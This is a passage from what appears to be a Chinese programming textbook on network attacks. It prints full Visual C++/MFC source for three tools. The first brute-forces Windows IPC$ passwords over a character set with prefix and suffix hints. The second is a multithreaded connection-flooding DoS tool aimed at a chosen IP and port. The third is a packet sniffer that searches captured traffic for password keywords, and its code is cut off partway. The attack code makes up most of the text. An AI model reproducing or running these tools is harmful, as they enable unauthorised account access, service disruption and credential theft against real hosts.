❑“扫描范围”分组用于进行参数的设置，“扫描IP地址”用于设置进行弱密码穷举主机的IP地址。“扫描用户名”用于设置对方主机的用户名，该用户名可以用4.8节的实例“NetBIOS的通用扫描器”中的读取结果，或通过修改程序，将二者合二为一。“扫描位数”就是在下面“扫描字符集”配置的参数中，自动组合的密码长度，默认值由0位至8位（0位用于测空密码，或与其他配置合成后测指定的某一个密码）。在某种特殊情况下，有可能知道对方密码肯定始于某个前缀或后缀，如知道某个人的密码用的是生日，虽然不知道确切的生日，但知道此人是80年代的人，则其密码很可能始于“80”或“1980”，则可以在“前缀”输入“80”或“1980”，这时相当于密码的某几位已被破解。“后缀”的意义与“前缀”类似。“前缀”、“后缀”的位数都不计入“扫描位数”中。单击“开始扫描”按钮，则开始按配置的规则进行扫描，单击“停止扫描”则中止当前正在进行的扫描。

❑“扫描字符集”是用于设置扫描采用什么字符集，其意义不言而喻，如果对方密码常用小写字母集（这是最常见的密码设置方式），则置位“小写字母abc..z”；如果对方常用电话号码、生日作为密码，则置位“数字123..0”；如果知道某用户密码习惯用几个字符之间来回颠倒，则可以直接置位“自定义”，并输入这些字符。这里所有选择的密码共同再组成一个大的密码集，最终密码的长度受限于“扫描范围”中的“扫描位数”、“前缀”、“后缀”等项。

❑“扫描结果及扫描状态”用于显示扫描过程中的状态或扫描结果、以及命令执行过程中的结果。单击“退出系统”按钮，会在保存了界面各数的值后，退出系统。

其扫描效果取决于很多因素，详细请参见本节前面的解释及第4章“NetBIOS扫描器的设计”中对Windows XP的相关介绍。


11.2.4　程序代码

按如下步骤创建和设定。

1.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为ExhaustPassword。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：
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2.程序主要代码



BOOL CExhaustPasswordDlg::OnInitDialog()

{

...//由Visual C++在创建时自动生成的代码略

CString strTemp;

char buff[MAX_PATH];

GetPrivateProfileString("Param","IP","127.0.0.1",buff,MAX_PATH,INIFILENAME);

m_ctlIP.SetWindowText(buff);

GetPrivateProfileString("Param","Username","Administrator",buff,MAX_PATH,INIFILENAME);

m_strUsername.Format("%s",buff);

m_iPasswordLen=GetPrivateProfileInt("Param","PassLen",3,INIFILENAME);

GetPrivateProfileString("Param","Pre","",buff,MAX_PATH,INIFILENAME);

m_strCodePre.Format("%s",buff);

GetPrivateProfileString("Param","Post","",buff,MAX_PATH,INIFILENAME);

m_strCodePost.Format("%s",buff);

m_bCharUserDefine=FALSE;

UpdateData(FALSE);

OnCHECKUserDefine();

return TRUE;

}

void CExhaustPasswordDlg::OnCancel()

{

//程序退出时要做的操作，主要是让用户确认是否退出和保存必要的参数

if(MessageBox("确实要退出吗?","退出系统",

MB_OKCANCEL|MB_DEFBUTTON2|MB_ICONQUESTION)==IDOK)

{

CString strTemp;

UpdateData(TRUE);

m_ctlIP.GetWindowText(strTemp);

WritePrivateProfileString("Param","IP",strTemp,INIFILENAME);

WritePrivateProfileString("Param","Username",

m_strUsername,INIFILENAME);

strTemp.Format("%d",m_iPasswordLen);

WritePrivateProfileString("Param","PassLen",strTemp,INIFILENAME);

WritePrivateProfileString("Param","Pre",m_strCodePre,INIFILENAME);

WritePrivateProfileString("Param","Post",m_strCodePost,INIFILENAME);

CDialog::OnCancel();

}

}

void CExhaustPasswordDlg::OnCHECKUserDefine()

{

UpdateData(TRUE);

if(m_bCharUserDefine)

{

GetDlgItem(IDC_CHECK_Lower)-＞EnableWindow(FALSE);

GetDlgItem(IDC_CHECK_Number)-＞EnableWindow(FALSE);

GetDlgItem(IDC_CHECK_Other)-＞EnableWindow(FALSE);

GetDlgItem(IDC_CHECK_Upper)-＞EnableWindow(FALSE);

GetDlgItem(IDC_EDIT_UserDefine)-＞EnableWindow(TRUE);

}

else

{

GetDlgItem(IDC_CHECK_Lower)-＞EnableWindow(TRUE);

GetDlgItem(IDC_CHECK_Number)-＞EnableWindow(TRUE);

GetDlgItem(IDC_CHECK_Other)-＞EnableWindow(TRUE);

GetDlgItem(IDC_CHECK_Upper)-＞EnableWindow(TRUE);

GetDlgItem(IDC_EDIT_UserDefine)-＞EnableWindow(FALSE);

}

}

void CExhaustPasswordDlg::DoEvent(CString strPass)

{

MSG msg;

CWnd*pEdit=this-＞GetDlgItem(IDC_EDIT_Comment);

pEdit-＞SetWindowText(strPass);

pEdit-＞UpdateWindow();

if(PeekMessage(＆msg,NULL,0,0,PM_REMOVE))

{

TranslateMessage(＆msg);

DispatchMessage(＆msg);

}

}

void CExhaustPasswordDlg::OnBUTTONSurvey()

{

UpdateData(TRUE);

char chAll[100];

char chLower[27]="qwertyuiopasdfghjklzxcvbnm";//小写字母26个

char chUpper[27]="QWERTYUIOPASDFGHJKLZXCVBNM";//大写字母26个

char chNumber[11]="1234567890";//数字10个

char chOther[34]="～!@#$%^＆*()_+|-=\\{}[];':\"＜＞?,./";//符号33个

int i,iPassLen;

m_bRunning=TRUE;

if(m_bCharUserDefine)

{

iPassLen=0;

int len=m_strCodeUserDefine.GetLength();//总长度

for(int i=0;i＜len;i++)

{

BOOL bRepeat=FALSE;

char chTemp=m_strCodeUserDefine.GetAt(i);//当前的字符

for(int j=0;j＜iPassLen;j++)

{

if(chTemp==chAll[j])

{

bRepeat=TRUE;

j=iPassLen+1;//跳出循环，多重循环时，尽量不用break;

break;

}

}

if(!bRepeat)

{

chAll[iPassLen]=chTemp;

iPassLen++;

}

}

chAll[iPassLen]='\0';

m_strCodeUserDefine.Format("%s",(char*)chAll);

}

else

{

iPassLen=0;

if(m_bCharLower)

{

for(i=0;i＜26;i++)

chAll[iPassLen+i]=chLower[i];

iPassLen+=26;

}

if(m_bCharUpper)

{

for(i=0;i＜26;i++)

chAll[iPassLen+i]=chUpper[i];

iPassLen+=26;

}

if(m_bCharNumber)

{

for(i=0;i＜10;i++)

chAll[iPassLen+i]=chNumber[i];

iPassLen+=10;

}

if(m_bCharOther)

{

for(i=0;i＜33;i++)

chAll[iPassLen+i]=chOther[i];

iPassLen+=33;

}

}

//以下密码全部都是"前缀"+所选密码集+"后缀"，三者都允许为空

CString strPass;

switch(m_iPasswordLen)

{

case 0://

strPass=m_strCodePre+m_strCodePost;

if(strPass=="")

thePass="空";

else

thePass=strPass;

ret=WNetAddConnection2(＆NET,strPass,(char*)username,0);

if(ret==ERROR_SUCCESS)

{

WNetCancelConnection2((char*)＆ipc,0,TRUE);

}

else

thePass="不为"+thePass;

DoEvent(thePass);

break;

case 1://所选密码集的长度为1位的密码

for(l1=0;l1＜iPassLen;l1++)

{

strPass.Format("%s%c%s",m_strCodePre,chAll[l1],m_strCodePost);

ConnectServer(strPass,m_strUsername);

}break;

case 2://所选密码集的长度为2位的密码

for(l1=0;l1＜iPassLen;l1++)

for(l2=0;l2＜iPassLen;l2++)

{

strPass.Format("%s%c%c%s",m_strCodePre,

chAll[l1],chAll[l2],m_strCodePost);

ConnectServer(strPass,m_strUsername);

}break;

case 3://所选密码集的长度为3位的密码

for(l1=0;l1＜iPassLen;l1++)

for(l2=0;l2＜iPassLen;l2++)

for(l3=0;l3＜iPassLen;l3++)

{

strPass.Format("%s%c%c%c%s",m_strCodePre,

chAll[l1],chAll[l2],chAll[l3],m_strCodePost);

ConnectServer(strPass,m_strUsername);

}break;

case 4://所选密码集的长度为4位的密码

for(l1=0;l1＜iPassLen;l1++)

for(l2=0;l2＜iPassLen;l2++)

for(l3=0;l3＜iPassLen;l3++)

for(l4=0;l4＜iPassLen;l4++)

{

strPass.Format("%s%c%c%c%c%s",m_strCodePre,chAll[l1],

chAll[l2],chAll[l3],chAll[l4],m_strCodePost);

ConnectServer(strPass,m_strUsername);

}break;

case 5://所选密码集的长度为5位的密码

for(l1=0;l1＜iPassLen;l1++)

for(l2=0;l2＜iPassLen;l2++)

for(l3=0;l3＜iPassLen;l3++)

for(l4=0;l4＜iPassLen;l4++)

for(l5=0;l5＜iPassLen;l5++)

{

strPass.Format("%s%c%c%c%c%c%s",

m_strCodePre,chAll[l1],chAll[l2],

chAll[l3],chAll[l4],chAll[l5],m_strCodePost);

ConnectServer(strPass,m_strUsername);

}break;

case 6://所选密码集的长度为6位的密码

for(l1=0;l1＜iPassLen;l1++)

for(l2=0;l2＜iPassLen;l2++)

for(l3=0;l3＜iPassLen;l3++)

for(l4=0;l4＜iPassLen;l4++)

for(l5=0;l5＜iPassLen;l5++)

for(l6=0;l6＜iPassLen;l6++)

{

strPass.Format("%s%c%c%c%c%c%c%s",m_strCodePre,

chAll[l1],chAll[l2],chAll[l3],chAll[l4],

chAll[l5],chAll[l6],m_strCodePost);

ConnectServer(strPass,m_strUsername);

}break;

case 7://所选密码集的长度为7位的密码

for(l1=0;l1＜iPassLen;l1++)

for(l2=0;l2＜iPassLen;l2++)

for(l3=0;l3＜iPassLen;l3++)

for(l4=0;l4＜iPassLen;l4++)

for(l5=0;l5＜iPassLen;l5++)

for(l6=0;l6＜iPassLen;l6++)

for(l7=0;l7＜iPassLen;l7++)

{

strPass.Format("%s%c%c%c%c%c%c%c%s",m_strCodePre,

chAll[l1],chAll[l2],chAll[l3],chAll[l4],

chAll[l5],chAll[l6],chAll[l7],m_strCodePost);

ConnectServer(strPass,m_strUsername);

}break;

case 8://所选密码集的长度为8位的密码

for(l1=0;l1＜iPassLen;l1++)

for(l2=0;l2＜iPassLen;l2++)

for(l3=0;l3＜iPassLen;l3++)

for(l4=0;l4＜iPassLen;l4++)

for(l5=0;l5＜iPassLen;l5++)

for(l6=0;l6＜iPassLen;l6++)

for(l7=0;l7＜iPassLen;l7++)

for(l8=0;l8＜iPassLen;l8++)

{

strPass.Format("%s%c%c%c%c%c%c%c%c%s",m_strCodePre,

chAll[l1],chAll[l2],chAll[l3],chAll[l4],chAll[l5],

chAll[l6],chAll[l7],chAll[l8],m_strCodePost);

ConnectServer(strPass,m_strUsername);

}break;

default:m_strComment="当前版本无法测试";

break;

}

UpdateData(FALSE);

}

//用所选的密码与服务器进行连接，连接成功则认为密码破解成功，否则试下一个密码

BOOL CExhaustPasswordDlg::ConnectServer(CString strPass,CString strUser)

{

//函数中使用了一个技巧，当连接成功或用户要求退出时，直接通过修改循环变量跳出多重循环

UCHAR a,b,c,d;

CString strIPC;

m_ctlIP.GetAddress(a,b,c,d);

strIPC.Format("\\\\%d.%d.%d.%d\\ipc$",a,b,c,d);

NETRESOURCE NET;

NET.lpLocalName=NULL;

NET.lpProvider=NULL;

NET.dwType=RESOURCETYPE_ANY;

NET.lpRemoteName=strIPC.GetBuffer(0);

BOOL ret=WNetAddConnection2(＆NET,strPass,strUser.GetBuffer(0),0);

if(ret==ERROR_SUCCESS)

{

m_strComment.Format("密码：%s",strPass);

//MessageBox(m_strComment);

WNetCancelConnection2(strIPC.GetBuffer(0),0,TRUE);

l1=l2=l3=l4=l5=l6=l7=l8=100;//只是为了跳出循环

}

if(!m_bRunning)

l1=l2=l3=l4=l5=l6=l7=l8=100;//只是为了跳出循环

DoEvent(strPass);

return TRUE;

}

void CExhaustPasswordDlg::OnBUTTONStop()

{

m_bRunning=FALSE;

}




11.3　DOS/DDOS攻击

DOS（拒绝服务式攻击）是一种原理简单，但普遍存在，并且很难解决的攻击方式。以一次普通的数据通信为例，如图11.7所示。
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图　11.7　典型的TCP连接的通信过程

在数据通信中，源主机首先主动向目标主机发起连接的请求（即步骤1）；作为响应，目标主机会回复源主机的请求（步骤2）；随后源主机再发出确认连接（步骤3）以示双方连接成功，这三步俗称“三次握手”。通过三次握手，双方均认为连接已建立，此后都可以主动向对方发送数据，同时接收对方所发送的数据（即步骤4）。最后，当需要断开连接时，双方中的一方向对方发出（例子上是源主机发出，实际上双方都可以主动发出）断开连接的请求（步骤5），对方在接收到连接后确认断开（步骤6）。

上面是正常情况下的一个完整的通信过程，实际的过程则可能由于种种原因，而中止于某一个步骤。例如，当上述“步骤4”进行完后，本应按“步骤5”进行，但源主机突然死机，则目标主机由于不知道源主机下一步是要继续传数据（即继续步骤4），还是要断开连接（进入步骤5），而处于等待状态。这种等待不仅耗费了大量资源，而且毫无意义，因为即使源主机重启了，再发起连接，也因再次连接时“三次握手”的标识不一样，而不一样，这时目标主机的这个连接就会因不能为别的程序服务而处于无用状态。

如果上述的源主机突然死机，则源主机不能及时向目的主机发送中断连接的命令，但这时的目的主机并不知道源主机已死机，而认为源主机仍然正常，从而导致的连接不能被中断，因而占用了目的主机本来需要回收的资源。如果这种机制被人为利用，即源主机的程序开发者，在编程序的时候，在需要断开连接的时候，故意不断开，但自身该释放的资源都释放了，则程序对源主机没有影响，但对目标主机却造成了同样有连接处于无用状态的现象，使其他的主机不能使用该连接。如果某源主机向目标主机发送大量这样的连接，则该主机的“连接”资源会被用完，或几乎用完，从而导致其他主机无法使用这些连接资源。从外表上看，该目标主机拒绝了其他主机的服务要求，这种攻击方式因此而得名。

拒绝服务从形式上看，是目标主机拒绝向本应提供服务的主机提供服务，但实际上，则是因为某台主机通过大量恶意的连接占用了目标主机的连接资源，而使目标主机无法提供服务。

上述所说的通过“异常”中断连接，所造成的拒绝服务，仅是众多拒绝服务攻击方式中的一种，除了这种方式，还有别的方式，这里就不一一单列。

在实际应用中，一般来说，作为服务器，其性能通常要好于普通的主机，因此DOS攻击并不总是有效。特别是在早期窄带网络中，攻击源主机和被攻击的目标主机之间的数据通信能力有限，则大量的攻击数据包拥堵在中间的链路上，所以仅由源主机的方向向目标主机上看，似乎网速会比不攻击的时候慢很多，而实际问题只是出在了发送源或中间链路上，对目标主机根本就没有太大的影响。

为此，一种新的攻击方式出现了，称为DDOS（Distributed DOS，分布式拒绝服务攻击），该方式采用多个源主机，各源主机同时向目标主机发动攻击，各主机所采用的是DOS的攻击方式，这种攻击方式效果十分明显，特别是近几年，宽带的出现，使这种方式大行其道。

通常被攻击主机的表现，根据攻击方式的不同而不同，有些主机表示为外界正常用户不能访问或几乎不能访问。在被攻击期间，即使是重启服务器，也会因再次遭到攻击而重新拒绝服务。

单纯从应用角度上来说，DOS和DDOS攻击是一种“损人不利已”的攻击方式，因为这种攻击方式下，同时损耗了自身、中间网络、目标主机的资源，而攻击方并没有得到很明显的好处。但从效果上看，目标主机无法给正常用户提供服务，可以使目标主机方遭受经济、信誉等其他方面的损失。

该攻击方式的防御难点在于几个方面：

1）攻击源主机难以辨别，作为攻击源主机的访问也是正常访问，只有该攻击源主机在一定时间内，大量非正常访问时，才视为攻击。这如同一个火车站，很难快速判断一个人是乘客，还是破坏者一样，破坏者有时也是一个乘客，只有当他做坏事时，才视为是坏人。

2）攻击的同时，通常是频繁访问，而这个时候再增加一个过滤机制，反而增大了网络的负荷。

实施DOS攻击并不难，只是大量密集的连接远端主机的指定端口，使其端口连接因被“耗尽”而无力去响应其他用户的连接。但在实际试验过程中，需要根据具体情况进行分析。一般情况下，虽然服务器性能要超过普通的家用电脑或笔记本电脑，但攻击方只是一个连接操作，被攻击方则除了连接之外，还可能创建专门线程、分析命令格式、处理命令等一系列操作，并且只有判断超时了才认为断开，这种不对等的操作代价弥补了二者性能上的差异，所以其攻击效果还是比较明显的。另外，对于更多家用电脑的用户，所使用的是普通的宽带上网，甚至是无线上网，采用这种方式会因为网络带宽不够而导致网络拥堵，当采用另一台电脑使用同一线路进行验证时，有时也会看到对方服务器“变慢”或者“死机”，这也许只是一个假象，只是因为网络拥堵而造成的验证操作同样被拥堵在链路上，而不是在对方服务器上。


 11.3.1　程序主界面

根据上述分析，可以做一个界面如图11.8所示。
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图　11.8　DOS攻击程序界面

主界面分为“扫描范围”和“系统提示”两部分：

❑“扫描范围”分组用于进行参数的设置，"IP"用于设置被攻击的主机IP地址，"Port"用于设置被攻击主机的端口号，“线程数”用于设置采用多少线程进行连接。单击“开始扫描”按钮，系统会按“线程数”的标识，创建若干个线程，不停地连接对方IP和端口号。单击“停止扫描”按钮，系统停止当前运行的线程，中止扫描操作。

❑“系统提示”用于显示扫描过程中的状态或扫描结果、命令执行过程中的结果。单击“退出系统”按钮，会在保存了界面各数的值后退出系统。

本处只是为了检验此功能，所以其功能很有限。


11.3.2　程序代码

按如下步骤创建和设定。

1.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为PortScan_DDOS。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：
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2.在文件的前面加入必要的声明、定义



#include＜winsock2.h＞

#pragma comment(lib,"ws2_32")

#define INIFILENAME".\\PortScan.ini"

#define SCAN_MODE_SOCKET1 0

#define SCAN_MODE_SOCKET2 1

#define SCAN_MODE_SYN 2

//CListCtrl中列序号常量宏定义

#define LIST_RESULT_TIME 0

#define LIST_RESULT_LOG 1

typedef struct ThreadParamStruct

{

CString strIP;

UINT uPort;

CPortScanDlg*ptr;

}THREADPARAM;

THREADPARAM ThreadParam;

UINT ThreadCSocketScan(LPVOID pParam);

UINT ThreadCSocket2Scan(LPVOID pParam);

BOOL g_bRunning;

int g_iTotalThreadCount;



3.程序主要代码



BOOL CPortScanDlg::OnInitDialog()

{

......//由Visual C++在创建时自动生成的代码略

WSAData wsaData;

WSAStartup(WINSOCK_VERSION,＆wsaData);

srand((unsigned)time(NULL));

CString strTemp;

char buff[MAX_PATH];

GetPrivateProfileString("Param","IP","127.0.0.1",buff,MAX_PATH,INIFILENAME);

m_strIP.Format("%s",buff);

m_uPort=GetPrivateProfileInt("Param","Port",1024,INIFILENAME);

g_iTotalThreadCount=0;

m_uThreadCount=100;

m_ctlListResult.InsertColumn(LIST_RESULT_TIME,"时间",LVCFMT_LEFT,60);

m_ctlListResult.InsertColumn(LIST_RESULT_LOG,"内容",LVCFMT_LEFT,360);//

UpdateData(FALSE);

return TRUE;

}

CString CPortScanDlg::GetPortName(UINT uPort,BOOL bIsTCP)

{

CString strRet;

if(bIsTCP)

{

switch(uPort)

{

case 1024:

case 1025:

case 1026:strRet="常用动态分配的TCP端口";break;

case 1080:strRet="WinGate,IRC等防火墙管道";break;

case 1243:strRet="Sub-7木马";break;

case 1433:strRet="MSSQL数据库服务端口";break;

case 1524:strRet="ingreslock后门";break;

case 2049:strRet="NFS程序常用端口";break;

case 3128:strRet="Squid HTTP代理服务器";break;

case 3306:strRet="MYsql数据库服务端口";break;

case 5632:strRet="pcAnywere常用端口";break;

case 31337:strRet="Back Orifice";break;

//case:strRet="";break;

default:break;

}

}

else

{

switch(uPort)

{

case 1024:

case 1025:

case 1026:strRet="常用动态分配的UDP端口";break;

case 31789:strRet="Hack-a-tack远程访问木马";break;

default:break;

}

}

return strRet;

}

void CPortScanDlg::OnCancel()

{

//程序退出时要做的操作，主要是让用户确认是否退出和保存必要的参数

if(MessageBox("确实要退出吗?","退出系统",MB_OKCANCEL|MB_DEFBUTTON2|

MB_ICONQUESTION)==IDOK)

{

CString strTemp;

UpdateData(TRUE);

WritePrivateProfileString("Param","IP",m_strIP,INIFILENAME);

strTemp.Format("%d",m_uPort);

WritePrivateProfileString("Param","Port",strTemp,INIFILENAME);

WSACleanup();

CDialog::OnCancel();

}

}

void CPortScanDlg::OnTimer(UINT nIDEvent)

{

//定时器，一般通过nIDEvent区分不同定时器

switch(nIDEvent)

{

case 1:

{

UpdateData(TRUE);

if(g_iTotalThreadCount＞0)

{

m_strComment.Format("当前有%d个线程正在扫描中....",

g_iTotalThreadCount);

int iCount=m_ctlListResult.GetItemCount();

CTime time=CTime::GetCurrentTime();

//LIST_RESULT_TIME

m_ctlListResult.InsertItem(iCount,time.Format("%H:%M:%S"));

m_ctlListResult.SetItemText(iCount,LIST_RESULT_LOG,m_strComment);

}

else

{

m_strComment.Format("扫描结束");

KillTimer(1);

}

UpdateData(FALSE);

}

break;

default:break;

}

CDialog::OnTimer(nIDEvent);

}

void CPortScanDlg::DoEvent(CString strPass)

{

MSG msg;

CWnd*pEdit=this-＞GetDlgItem(IDC_EDIT_Comment);

pEdit-＞SetWindowText(strPass);

pEdit-＞UpdateWindow();

if(PeekMessage(＆msg,NULL,0,0,PM_REMOVE))

{

TranslateMessage(＆msg);

DispatchMessage(＆msg);

}

}

void CPortScanDlg::OnBUTTONScanStart()

{

UpdateData(TRUE);

if(m_uPort＜1||m_uPort＞65535)

{

MessageBox("端口值不对，该值范围应该是1～65535。",

"操作提示",MB_OK|MB_ICONERROR);

return;

}

SetTimer(1,1000,NULL);

g_bRunning=TRUE;

ThreadParam.strIP=m_strIP;

ThreadParam.uPort=m_uPort;

ThreadParam.ptr=this;

for(UINT i=0;i＜m_uThreadCount;i++)

{

AfxBeginThread(ThreadCSocketScan,＆ThreadParam,THREAD_PRIORITY_IDLE);

Sleep(10);

}

UpdateData(FALSE);

}

void CPortScanDlg::OnBUTTONScanStop()

{

g_bRunning=FALSE;

}

UINT ThreadCSocketScan(LPVOID pParam)

{

THREADPARAM*threadparam=(THREADPARAM*)pParam;

CString strIP=threadparam-＞strIP;

UINT uPort=threadparam-＞uPort;

CPortScanDlg*ptr=threadparam-＞ptr;

g_iTotalThreadCount++;

//创建一个Socket

SOCKET sock=-1;

sock=socket(AF_INET,SOCK_STREAM,0);

if(sock==SOCKET_ERROR)

{

//AfxMessageBox("Error in create listen socket\n");

return 1;

}

//设置几个参数

int iTimeOut=1000;

if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)＆iTimeOut,

sizeof(iTimeOut))==SOCKET_ERROR)

{

//AfxMessageBox("发送时间溢出设置出错：SO_SNDTIMEO!",

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 2;

}

iTimeOut=1000;

if(setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(char*)＆iTimeOut,

sizeof(iTimeOut))==SOCKET_ERROR)

{

//AfxMessageBox("接收时间溢出设置出错：SO_SNDTIMEO!",

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 3;

}

//连接对方的默认端口

SOCKADDR_IN addr_remote;

addr_remote.sin_family=AF_INET;

addr_remote.sin_addr.s_addr=inet_addr(strIP);

addr_remote.sin_port=htons(uPort);

/*if(connect(sock,(PSOCKADDR)＆addr_remote,sizeof(addr_remote))!=0)

{

//AfxMessageBox("Connect出错，对方未提供Email服务!",

MB_OK|MB_ICONINFORMATION);

g_iTotalThreadCount--;

closesocket(sock);

return 4;

}*/

while(g_bRunning)

{

connect(sock,(PSOCKADDR)＆addr_remote,sizeof(addr_remote));

Sleep(100);

}

shutdown(sock,2);

closesocket(sock);

g_iTotalThreadCount--;

return 0;

}




11.4　明文密码嗅探

在网络传输中，很多网络协议都没有对传输的数据进行加密，导致很多数据在传输的过程中，都可以通过嗅探器（Sniffer）获得全部内容，特别是对于一些用户名、密码等敏感信息，如果被监测到，则无论防守系统设计得多安全，也都功亏一篑。

在嗅探状态下，会接到很多的数据包，如果对每一个包都做详细的分析，会占用大量的CPU和内存资源，所以如果直接对网络层的数据进行分析，需要有一个快捷的算法。

通过高层协议的介绍，不难发现，很多协议在传输的过程，为了区分协议中的关键字都会有一个命令关键字。如FTP服务中，向服务器提交密码时，会发送“PASS＜密码＞”。再如POP3服务中，向邮件服务器提供密码时，会发送“PASS＜邮箱密码＞”。在WWW服务中，无论是采用HTML、ASP、JSP、PHP等语言，内容都是以表单（Form）的方式向服务器提交的。由于人们的思维习惯，常常会给表单中的“用户名”表单项命名为Username，“密码”单项命名为Password，或与之类似的方式。

在嗅探的时候，监控这些关键字，则虽然不能准确定位到密码的位置以及密码是什么，但也可以快速地定位到密码存在于哪个数据包中、大概的位置，然后由人工方法可以定位到密码的位置及内容。

这里需要注意一个技巧就是每个程序员的编程习惯，以及不同编程语言的限制，对变量名的大小写有一定的差别，如密码，有PassWord、Password、password等几种写法。如果对每一种写法都做一次判断，一则会导致无法穷举，二则导致判断过多。为了避免这种情况，一个简单的处理办法是，首先将读到的数据以及关键字全转成大写，然后对全部大写进行判断。


 11.4.1　程序主界面

根据上述分析，可以做一个界面如图11.9所示。
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图　11.9　嗅探监测密码

主界面分为四部分，“接收数据包”分组用于显示接收到的所有数据包中，通过关键字匹配成功的数据包；“所选包的内容”分组用于显示在“接收数据包”分组中选中的数据包的详细内容；“监看关键字”分组用于选择要匹配的关键字列表，考虑到在程序匹配时，不考虑大小写，所以此处用户可以随意输入大小写，如所输入的内容中，Pass、PASS、Pass、pass都是等价的；“系统操作”分组主要是用于显示当前状态以及一些操作按钮。

系统在运行之初，就自动进入嗅探状态，每当接到一个数据包，都会将数据包内容全转成大写，然后依次与“监看关键字”列表中各关键字进行匹配，如果找到数据包中包含列表中的关键字，则将该数据包加入到“接收数据包”分组中。单击“接收数据包”分组中已保存的数据包项，则在“所选包内容”显示出该数据包内容。从图11.9中很容易看到，由于数据包中包含了"Password"所以会被匹配到，同时根据"Password=Welcom"可以看到密码是"Welcome"（原因略，详细参见HTML中表单项）。

单击“开始监听”按钮，系统就会开始进入监听状态。单击“停止监听”按钮，程序会中止当前的监听状态。“清空列表”表示清除已监测到的结果。


11.4.2　程序代码

按如下步骤创建和设定。

1.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为Sniffer_Pass。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：
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2.程序主要代码



BOOL CSnifferDlg::OnInitDialog()

{

...//由Visual C++在创建时自动生成的代码略

m_ctlListReceive.InsertColumn(LIST_RECEIVE_TIME,"时间",LVCFMT_LEFT,60);

m_ctlListReceive.InsertColumn(LIST_RECEIVE_PROTOCOL,"协议",LVCFMT_LEFT,35);

m_ctlListReceive.InsertColumn(LIST_RECEIVE_IP1,"源IP",LVCFMT_LEFT,100);

m_ctlListReceive.InsertColumn(LIST_RECEIVE_PORT1,"源PORT",LVCFMT_LEFT,50);

m_ctlListReceive.InsertColumn(LIST_RECEIVE_IP2,"目IP",LVCFMT_LEFT,100);

m_ctlListReceive.InsertColumn(LIST_RECEIVE_PORT2,"目PORT",LVCFMT_LEFT,50);

m_ctlListReceive.InsertColumn(LIST_RECEIVE_LEN,"长度",LVCFMT_LEFT,40);

m_ctlListReceive.InsertColumn(LIST_RECEIVE_CONTENT,"内容",LVCFMT_LEFT,270);

m_ctlListReceive.SetExtendedStyle(LVS_EX_FULLROWSELECT|LVS_EX_GRIDLINES);

//网络设置初始化

WSADATA wsaData;

WORD version=MAKEWORD(2,0);

int ret=WSAStartup(version,＆wsaData);

if(ret!=0)

{

MessageBox("套接字Socket初始化错误!\n","出错提示",MB_OK);

OnOK();

}

//获得包数

struct hostent*pHost=gethostbyname("");

if(pHost==NULL)

{

MessageBox("无法获得主机名出错","出错提示",MB_OK|MB_ICONERROR);

return FALSE;

}

g_iToltalIP=0;

for(int i=0;i＜MAXIP;i++)

{

char*ptrIP=pHost-＞h_addr_list[i];

if(ptrIP==NULL)

break;

LPCSTR psz=inet_ntoa(*(struct in_addr*)ptrIP);

if(psz!=NULL)

{

ThreadParam[i].pDlg=this;

ThreadParam[i].strIP.Format("%s",psz);

ThreadParam[i].g_bRunning=FALSE;

ThreadParam[i].iIndex=g_iToltalIP;

g_iToltalIP++;

}

else

break;

}

if(g_iToltalIP＜=0)

{

MessageBox("无法将主机名转化为IP地址","出错提示",MB_OK|MB_ICONERROR);

//return FALSE;

}

//读长度列表

CString strTemp;

char buff[MAX_PATH];

int iCount=GetPrivateProfileInt("Param","Count",0,LOCALSETFILENAME);

for(i=0;i＜iCount;i++)

{

strTemp.Format("Item%d",i+1);

GetPrivateProfileString("Param",strTemp,"",buff,MAX_PATH,LOCALSETFILENAME);

strTemp.Format("%s",buff);

if(strTemp=="")

break;

m_ctlListKeyword.AddString(strTemp);

}

UpdateData(FALSE);

return TRUE;

}

void CSnifferDlg::OnCancel()

{

//程序退出时要做的操作，主要是让用户确认是否退出和保存必要的参数

if(MessageBox("确实要退出吗?","退出系统",

MB_OKCANCEL|MB_DEFBUTTON2|MB_ICONQUESTION)==IDOK)

{

CString strTemp,strItem;

int iCount=m_ctlListKeyword.GetCount();

strTemp.Format("%d",iCount);

WritePrivateProfileString("Param","Count",strTemp,LOCALSETFILENAME);

for(int i=0;i＜iCount;i++)

{

strTemp.Format("Item%d",i+1);

m_ctlListKeyword.GetText(i,strItem);

WritePrivateProfileString("Param",strTemp,

strItem,LOCALSETFILENAME);

}

OnBUTTONStop();

Sleep(1000);

CDialog::OnCancel();

}

}

void CSnifferDlg::OnBUTTONStart()

{

CString strTemp;

UpdateData(TRUE);

if(g_iToltalIP==0)

{

MessageBox("本机IP地址读取出错，请重新运行");

return;

}

int iSel=0;

if(g_iToltalIP＞1)

{

CDialogSelectIP dlg;

for(int i=0;i＜g_iToltalIP;i++)

{

dlg.m_strIP[i]=ThreadParam[i].strIP;

}

dlg.m_iTotalIP=g_iToltalIP;

if(dlg.DoModal()!=IDOK)

return;

iSel=dlg.m_iCurSel;

}

if(ThreadParam[iSel].g_bRunning)

{

m_strComment.Format("本IP%s，正在监听。",ThreadParam[iSel].strIP);

}

else

{

g_saKeyword.RemoveAll();

for(int kw=0;kw＜m_ctlListKeyword.GetCount();kw++)

{

m_ctlListKeyword.GetText(kw,strTemp);

strTemp.MakeUpper();

g_saKeyword.Add(strTemp);

}

if(g_saKeyword.GetSize()==0)

{

MessageBox("没有要监测的关键字，线程未开启。","出错提示",

MB_OK|MB_ICONERROR);

return;

}

AfxBeginThread(SnifferThread,＆ThreadParam[iSel],

THREAD_PRIORITY_NORMAL);

m_strComment.Format("监听%s线程正在运行中……",

ThreadParam[iSel].strIP);

Sleep(100);

}

UpdateData(FALSE);

}

UINT SnifferThread(LPVOID pParam)

{

THREADPARAM*threadparam=(THREADPARAM*)pParam;

CSnifferDlg*ptr=threadparam-＞pDlg;

CString strIP=threadparam-＞strIP;

